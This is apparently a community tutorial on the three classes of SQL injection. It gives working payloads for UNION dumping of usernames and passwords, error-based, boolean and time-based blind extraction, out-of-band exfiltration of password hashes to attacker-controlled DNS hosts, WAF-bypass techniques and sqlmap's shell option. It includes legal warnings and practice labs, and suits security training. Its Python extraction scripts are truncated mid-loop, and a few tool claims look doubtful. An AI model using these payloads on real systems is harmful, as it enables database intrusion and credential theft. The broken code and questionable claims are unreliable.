SQL Injection — The Three Models: How They Actually Work
A no-fluff guide to the three categories of SQL injection. Set up a legal target first. Then the actual mechanics of each model: in-band (UNION, error-based), inferential blind (boolean, time-based), and out-of-band (DNS/HTTP exfil). What the queries look like, why the database falls for them, and how to triage a target to figure out which model works. For pentesters, bug bounty beginners, CTF players, and devs who want to know what they're defending against.
admin
1h
7 steps
9 views
Ground rules and where to practice
Step 1 of 7
SQL injection works against any database that concatenates user input into a query. Same exploit across Postgres, MySQL, MSSQL, SQLite — only the helpers (concat syntax, comment characters, system tables) change.
You only run this against systems you have permission to test. Period. "Probably fine" is the most common prelude to a CFAA / CMA charge. If you're not sure you have permission, you don't have permission.
Free legal targets:
DVWA (Damn Vulnerable Web App) — Docker container, 5-minute setup
PortSwigger Web Security Academy — fully guided browser labs, free, with certificates
HackTheBox Starting Point — real-feeling machines, no setup
bWAPP / Mutillidae — older but they hit every vuln category
Stack you'll use across every model: a browser, Burp Suite Community (free, intercept/replay HTTP), and sqlmap when manual gets tedious.
Why SQLi works at all (the root cause)
Step 2 of 7
The root cause is identical for every one of the three models: the application concatenates user input directly into a SQL string instead of parameterizing it.
A safe query:
```
SELECT * FROM users WHERE id = $1
```
The driver sends the query and the value separately. The database treats the value as data, never as SQL.
A vulnerable query:
```
SELECT * FROM users WHERE id = '$id'
```
The application reads $id from the request and pastes it between the quotes. If $id is `1' OR 1=1 --`, the executed query becomes:
```
SELECT * FROM users WHERE id = '1' OR 1=1 --'
```
The closing quote and the `--` comment out the rest of the query. The `OR 1=1` makes the WHERE clause true for every row.
Three takeaways before we dig into the models:
1. A single quote in an unexpected place is the smell. Type `'` in any input field. If you get a SQL error, the page is vulnerable.
2. `OR 1=1` is the universal exploit primitive. It's true everywhere; SQL doesn't need a context.
3. `--` (double-dash) is the standard SQL comment. It terminates the rest of the query so you don't have to balance quotes. MySQL needs `-- ` with a trailing space (or `/* ... */`).
Everything below is just variations on this: find places where quotes aren't sanitized, then craft a payload the database interprets.
Model 1: In-band (same channel — you read the response)
Step 3 of 7
In-band means the same HTTP request/response carries both the injection and the data leak. Easiest model. Two flavors.
*UNION-based.** Append a `UNION SELECT` to dump whatever you want. Trick is making column counts match.
You see this URL: `https://target.tld/product?id=3`
Backend query: `SELECT name, price FROM products WHERE id = 3` — two columns.
Determine column count with ORDER BY:
```
?id=3' ORDER BY 1-- ok
?id=3' ORDER BY 2-- ok
?id=3' ORDER BY 3-- error: column doesn't exist
```
Two columns. Now UNION:
```
?id=3' UNION SELECT username, password FROM users--
```
The page renders the product list with an extra row containing usernames and passwords. Some apps render only the first row, some concatenate, some JSON-stream — adapt to whatever format shows up.
*Error-based.** Force the database to produce a verbose error and read the schema out of it.
Most production databases intentionally suppress error details. When testing locally or against poorly configured apps you usually see them.
Postgres:
```
?id=1 AND 1=CAST((SELECT version()) AS int)--
```
Forces a type error that includes the version string.
MySQL:
```
?id=1 AND extractvalue(1, concat(0x7e, (SELECT version())))
```
MSSQL:
```
?id=1 AND 1=CONVERT(int, (SELECT @@version))
```
Both flavors fall under "in-band" because the data comes back in the same channel you sent the injection — that's the defining trait of this model.
--
*Hands-on walkthrough — UNION-based extraction against a DVWA / PortSwigger-style target.**
Setup once: open Burp Suite, turn on intercept, browse the target. Hit a page with a numeric ID, send the request to Repeater (`Ctrl+R` or right-click → Send to Repeater`). All the steps below happen in Burp's Repeater tab. Cookies and headers carry over automatically.
*Step 1 — confirm the parameter is injectable.**
Type ``3`` in the ID param: `GET /product?id=3`. Page renders one product.
Now type `3'` (single quote appended). If the response shows an SQL syntax error or a stack trace, the param is vulnerable. Don't move on until you see that error.
If the single quote is stripped or escaped (some apps sanitize), try `3`` ` or `3\\` — different quote dialects trip different sanitizers.
*Step 2 — confirm number-of-columns with ORDER BY.**
```
?id=3' ORDER BY 1--
?id=3' ORDER BY 2--
?id=3' ORDER BY 3--
```
The first one that returns an "Unknown column" or "ORDER BY position is past number of items" type error tells you the upper bound. If error is at 3, you have 2 columns.
*Step 3 — find which columns render.**
```
?id=3' UNION SELECT 'aaa','bbb'--
```
Look at the response HTML. "aaa" appears in some position, "bbb" in another. Some apps render only the first column — if "bbb" never shows, swap positions and try again.
If column count > 2, pad with `NULL`:
```
?id=3' UNION SELECT 'aaa','bbb',NULL,NULL--
```
Use string literals to find rendering positions, then swap to queries.
*Step 4 — fingerprint the database.**
Postgres: ``'? UNION SELECT version(), NULL--``
MySQL: ``'? UNION SELECT version(), database()--``
MSSQL: ``'? UNION SELECT @@version, NULL--``
The result tells you which DBMS you're talking to and which flavor of helper functions (concat, comment, system tables) to use from here.
*Step 5 — enumerate tables.**
Postgres: ``'? UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='public'--``
MySQL: ``'? UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()--``
MSSQL: ``'? UNION SELECT table_name, NULL FROM information_schema.tables--``
You'll get one row per table. Pick the ones that look interesting (`users`, `accounts`, `customers`, `passwords`).
*Step 6 — enumerate columns of an interesting table.**
Postgres: ``'? UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'--``
You'll get `id`, `username`, `password`, etc.
*Step 7 — dump it.**
Postgres (concat with `||`): ``'? UNION SELECT username || ':' || password, NULL FROM users--``
MySQL (concat function): ``'? UNION SELECT CONCAT(username,':',password), NULL FROM users--``
MSSQL (concat or `+`): ``'? UNION SELECT username+':'+password, NULL FROM users--``
Each row will print `username:password`. That's your in-band data extraction. Done. Save the request to Repeater for later re-runs.
*Where to practice this end-to-end.**
PortSwigger Web Security Academy: "SQL injection" lab track (free, sign in to track progress). Labs in the "UNION" tier walk you through literally this same flow with hints.
DVWA: Security level "low", SQL Injection page. Type the steps above into the User ID field. The query in the URL bar is what your browser submits.
PortSwigger Academy: "SQL injection UNION attacks" + "SQL injection attack, querying the database type and version" + "...retrieving multiple values in a single column" — three labs that cover steps 2-7.
Model 2: Inferential / Blind (different channel — server behavior is the data)
Step 4 of 7
Blind injection happens when there is no error and the database returns no extra data in the response. You can still extract data — one bit at a time — by observing the server's *behavior*. Two flavors.
*Boolean-based.** Inject a true/false condition; the server's response differs based on the result.
If `?id=3` returns the product, and `?id=99999` returns "no product found":
```
?id=3 AND 1=1-- -> product shows
?id=3 AND 1=2-- -> "no product found"
```
Confirmed injection. Now extract:
```
?id=3 AND (SELECT substring(username,1,1) FROM users WHERE id=1)='a'--
```
If the product shows, the first letter of admin's username is `a`. Otherwise it's not. Iterate characters with a script. You're brute-forcing one character at a time, but the oracle is whether the page renders content.
Slow (one HTTP request per character) but always works, even on perfectly sanitized error pages.
*Time-based.** When the server's response is identical regardless of the condition, force the database to sleep if a condition is true.
MySQL:
```
?id=3' AND IF(substring(database(),1,1)='a', SLEEP(5), 0)--
```
If the response took 5 seconds, your guess was right. If it returned instantly, wrong.
Postgres — same idea, `pg_sleep`:
```
?id=3' AND (CASE WHEN substring(current_database(),1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END)--
```
MSSQL — `WAITFOR DELAY`:
```
?id=3'; IF (substring(db_name(),1,1)='a') WAITFOR DELAY '0:0:5'--
```
Network jitter makes this noisy. Reliable extraction typically needs 5–10x sampling per character — burst requests, take the median. sqlmap has logic built in for this; see Step 7.
--
*Hands-on walkthrough — boolean-based extraction from a hardened product page.**
Setup: same as before — Burp Repeater with the suspicious `?id=` request. The page renders the product when `?id=3` is valid and renders "no results" when `?id=99999` is invalid. Good oracle.
*Step 1 — set up the boolean oracle.**
Confirm true condition:
```
?id=3 AND 1=1--
```
Response: product card renders normally.
Confirm false condition:
```
?id=3 AND 1=2--
```
Response: "no results" or missing product.
If both behave as expected, you have a boolean oracle. The response shifts cleanly between "result" and "no result" based on whether your injected condition is true.
If both responses look identical, you don't have a boolean oracle — you have either a WAF eating your payload or a fully static page. Move to the time-based or OOB workflows below.
*Step 2 — extract the database name one character at a time.**
Iteration 1 (first character of `database()`):
```
?id=3 AND substring(database(),1,1)='a'-- -> "no results" (not a)
?id=3 AND substring(database(),1,1)='b'-- -> "no results" (not b)
?id=3 AND substring(database(),1,1)='c'-- -> "no results" (not c)
...
?id=3 AND substring(database(),1,1)='d'-- -> product shows (yes! first letter is d)
```
Iteration 2 (second character):
```
?id=3 AND substring(database(),2,1)='v'-- -> product shows (yes! second letter is v)
```
Continue until you hit a position where every guess returns "no results" — that's the end of the string. If the database name is 8 chars long, after the 8th character every guess will return false.
Total requests for an 8-letter DB name: ~26 * 8 = ~200. Manual is miserable. Use a script.
*Step 3 — script it.**
Quick Python with `requests`:
```python
import requests, string
url = "https://target.tld/product"
cookies = {"PHPSESSID": "..."} # grab from your browser
result = ""
for position in range(1, 30):
found = False
for ch in string.ascii_lowercase + string.digits + "_-":
payload = f"3 AND substring(database(),{position},1)='{ch}'-- -"
r = requests.get(url, params={"id": payload}, cookies=cookies)
if "no results" not in r.text: # adjust to your oracle's "true" marker
Adjust the "true marker" (the substring that distinguishes a true-condition response from a false-condition response) to whatever your specific target uses. PortSwigger Academy's lab on boolean-based SQLi gives you a clean "Welcome back" vs "no rows" diff that's easy to key off.
*Step 4 — go from database name to users table.**
Same technique, different substring target:
```
?id=3 AND substring((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 0,1),1,1)='u'--
```
Iterate through rows of `information_schema.tables` by changing `LIMIT 0,1` to `LIMIT 1,1`, `LIMIT 2,1`, etc. — one at a time. Same character-by-character extraction. Same script, just a different subquery.
*Hands-on walkthrough — time-based extraction when the response is fully identical.**
When boolean also returns identical-looking output (some apps render a static skeleton page regardless of query results), fall back to time.
*Step 1 — confirm time oracle.**
MySQL:
```
?id=3' AND SLEEP(5)-- -
```
Response time: ~5 seconds.
Postgres:
```
?id=3'; SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END--
```
Response time: ~5 seconds.
MSSQL:
```
?id=3'; WAITFOR DELAY '0:0:5'--
```
Response time: ~5 seconds.
If you get a clean 5-second lag, your time oracle works. Compare against a known-false control (just `?id=3'` with no payload) to establish a baseline — if both take 200 ms, you don't have an oracle and need OOB.
*Step 2 — adapt the boolean script to time.**
Same character iteration, but instead of checking response text, check response time:
```python
import requests, time, string
url = "https://target.tld/product"
result = ""
SLEEP = 5
THRESHOLD = 3 # if response > THRESHOLD seconds, condition was true
for position in range(1, 30):
found = False
for ch in (string.ascii_lowercase + string.digits + "_-"):
payload = (
f"3' AND IF(substring(database(),{position},1)='{ch}', "
For Postgres replace the payload with the `pg_sleep` CASE-WHEN form. For MSSQL use `WAITFOR DELAY`.
*Step 3 — debounce network jitter.**
A single request can be wrong by 5-10 seconds due to GC pauses or load. To stabilize: send each guess 5 times, take the median. `sqlmap --time-sec=10 --retries=3` does this for you (covered in the last step).
*Where to practice.**
PortSwigger Academy: "Blind SQL injection with conditional responses" and "Blind SQL injection with time delays" — two dedicated labs.
DVWA: Security level "high" specifically disables error-based and shifts you toward blind. Good forcing function.
HackTheBox Sherlock rooms that involve blind SQLi on a captured PCAP.
Model 3: Out-of-band (totally different channel — DNS / HTTP)
Step 5 of 7
When the target doesn't reflect errors, doesn't change behavior, and doesn't have a reliable time oracle (aggressive timeouts, or WAFs that block `SLEEP`/`pg_sleep`), exfiltrate through a side channel — usually DNS or HTTP.
The shape: make the target's database do a DNS lookup or HTTP request to a server you control, encoding the data you want into the subdomain or path.
MSSQL — UNC path leak:
```
'; EXEC xp_dirtree '\\your-server.tld\leak'--
```
Forces Windows to resolve the UNC path. Your DNS server logs the lookup.
MySQL — `LOAD_FILE` onto a UNC path that resolves to your DNS listener:
```
?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password) FROM users LIMIT 1), '.your-domain.tld\\a'))--
```
Subdomain is the hex-encoded data. Watch your DNS server logs.
Oracle — `UTL_HTTP.request`:
```
?id=1' UNION SELECT UTL_HTTP.request('http://your.tld/'||(SELECT password FROM users WHERE rownum=1))--
```
This is the rarest model in real engagements — only viable when (a) you control an external server with a known domain that resolves to you, and (b) the target server can reach external DNS or HTTP at all (a lot can't in hardened environments).
Use it as a fallback when the other two models are exhausted or blocked.
--
*Hands-on walkthrough — MSSQL DNS exfil on a Windows-backed MSSQL app.**
MSSQL + Windows is the easiest OOB target because of UNC path resolution: Windows automatically tries to resolve hostnames in `\\hostname\\share` paths, and the DNS lookup goes out to your server even if outbound HTTP is firewalled.
*Step 1 — set up a way to see incoming DNS.**
Easiest: use **Burp Collaborator** (built into Burp Suite Pro, free trial; or use the equivalent **interactsh** for free). Burp Collaborator generates a unique subdomain per session and logs inbound traffic. Drop a pin, watch for DNS/HTTP hits.
If you want a self-hosted option:
Spin up a small VPS with a real domain you control.
Run `tcpdump` on port 53 to capture all DNS:
```bash
sudo tcpdump -i any -nn -s 0 -w /tmp/dns.pcap port 53
```
Or run a simple DNS server like `tcpkali` or `dnslog` to capture and display lookups.
*Step 2 — verify the target can reach your listener.**
Send a payload that should resolve regardless of any database state:
```
'; DECLARE @x char(20); SET @x='test'; EXEC('xp_dirtree ''\\'+@x+'.YOUR-COLLAB.tld\x''');--
```
Within 30 seconds you should see a DNS lookup for `test.YOUR-COLLAB.tld` in your listener. If you do, OOB works.
If you don't see the lookup, the target firewall blocks outbound DNS. OOB likely won't work for this target — fall back to manual in-band or blind with a more sophisticated WAF bypass.
*Step 3 — leak a value via subdomain encoding.**
For example, leak the first 50 bytes of the database version:
```
'; DECLARE @x varchar(8000); SET @x=(SELECT TOP 1 CAST(@@version AS varchar)); EXEC('xp_dirtree ''\\'+SUBSTRING(@x,1,50)+'.YOUR-COLLAB.tld\x''');--
```
Your listener logs: `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5.YOUR-COLLAB.tld`
That's the data.
*Step 4 — extract a specific row's value (e.g., admin password hash).**
```
'; DECLARE @x varchar(8000); SET @x=(SELECT TOP 1 CAST(password_hash AS varchar(8000)) FROM dbo.users WHERE username='admin'); EXEC('xp_dirtree ''\\'+@x+'.YOUR-COLLAB.tld\x''');--
```
Subdomain resolution encoding limits you to ~63 chars per label (RFC), so chunk long values:
```
'; DECLARE @x varchar(8000); SET @x=(SELECT TOP 1 CAST(password_hash AS varchar(8000)) FROM dbo.users WHERE username='admin'); EXEC('xp_dirtree ''\\'+SUBSTRING(@x,1,60)+'.YOUR-COLLAB.tld\x'''); EXEC('xp_dirtree ''\\'+SUBSTRING(@x,61,60)+'.YOUR-COLLAB.tld\x'''); --
```
Each chunk arrives as a separate lookup; reassemble in order.
MySQL on Linux — same idea using `LOAD_FILE` on a UNC path won't work on Linux (no SMB UNC resolver). Use `SELECT LOAD_FILE(CONCAT('//', (...), '.YOUR-COLLAB.tld/x'))` only if the target is Windows-backed MySQL. Otherwise MySQL OOB usually falls back to DNS via `SELECT (SELECT ... INTO OUTFILE '\\host\share');`. Same trick to confirm the target can resolve outbound first.
Oracle — `UTL_HTTP.request` plus a domain you control. A bit more setup because Oracle's `ACL` may need to grant the schema permission to make outbound HTTP. Confirm with `SELECT * FROM dba_network_acls` first.
Postgres — no built-in DNS-resolution primitives. OOB on Postgres is rough. Common workaround: chained `COPY ... TO PROGRAM` to call `curl` against a target URL, but this requires `pg_execute_server_program` privilege, which is rarely granted. Fall back to time-based blind with `dnslog`-style amplification if you're desperate.
*Where to practice.**
PortSwigger Academy: "SQL injection with out-of-band interaction" — one lab, very guided. That's the only one they currently have on OOB and it's good.
HackTheBox "Resolute" — Windows MSSQL box where DNS exfil is part of the intended path.
Real-world: rare. Most engagements stop at in-band or time-based.
*Practical alternative** (no setup): just use Burp Collaborator. Click "Copy Collaborator URL" in Burp, paste the subdomain into your payload, watch the Collaborator tab for inbound DNS/HTTP. Whole OOB workflow in a single tool, no VPS, no domain registration.
Triage: figuring out which model a target has
Step 6 of 7
Walk the models in order. Don't waste time going for the rarest one first.
1. Try `'` (a single quote) in every input field. If you get a SQL error, you have error-based (Model 1). Skip ahead to UNION.
2. Try `1 OR 1=1` (without the quote) on a search field or filter. If you suddenly get more results than before, that's UNION / classic in-band. Move to `UNION SELECT`.
3. Single quote stripped? Try `1 AND 1=1` vs `1 AND 1=2`. Response changes based on boolean → boolean-blind (Model 2). Start writing substring() probes.
4. Response identical? Try `1; SELECT SLEEP(5)--` (MySQL) / `1; SELECT pg_sleep(5)--` (Postgres). 5-second lag = time-based blind (Model 2). Switch to time probes.
5. Blocked? Likely a WAF. Try comment variations (`/**/`, inline `--`), case changes (`SlEEp`), encoding (`%53leep`), double-encoding. Still blocked: fall back to out-of-band if you control a server.
The "no feedback" cases (3 and 4) are common against well-hardened apps. The first case ("oh, you get SQL errors back") is rare outside labs.
Rule of thumb on time spent per model: error-based = minutes if present, boolean-blind = hours, time-blind = days, OOB = usually skipped. Stop the moment you find something that works.
Tooling: sqlmap when manual is overkill
Step 7 of 7
`sqlmap` automates every step above. It:
detects the injection point
picks the right model (UNION / boolean / time / error / stacked) for each parameter
`--risk=3 --level=5` — more aggressive payload variants (more tests, more chances of detection)
`--technique=BEUSTQ` — restrict to specific techniques (B=boolean, E=error, U=union, S=stacked, T=time, Q=in-line queries). Q skips the others.
`--tamper=space2comment,between,randomcase` — WAF bypass scripts. Stack as needed.
`--delay=2 --time-sec=10` — rate-limit. Two non-negotiables below.
`-p id` — only test the `id` parameter
`-D mydb -T users --dump` — once you're inside, dump a specific table
`--os-shell` — only works against MSSQL/MSSQL-backed ASP, basically free RCE when applicable
Two non-negotiables with sqlmap:
1. Always scope the technique. Without `--technique=...`, sqlmap sends payloads for every DBMS and wastes the target's bandwidth and your time.
2. Always rate-limit (`--delay=2 --time-sec=10` is a sane default). Don't DoS the target. Don't look like a scanner to WAFs.
Don't run sqlmap against anything you don't have written permission to test. WAFs and jurisdictions don't care about your intentions.
When sqlmap fails, you usually hit a WAF or an unusual injection context (JSON body, JSONPath, GraphQL, second-order injection). Those are manual-only — at that point, switch to reading the Burp request/response byte-by-byte.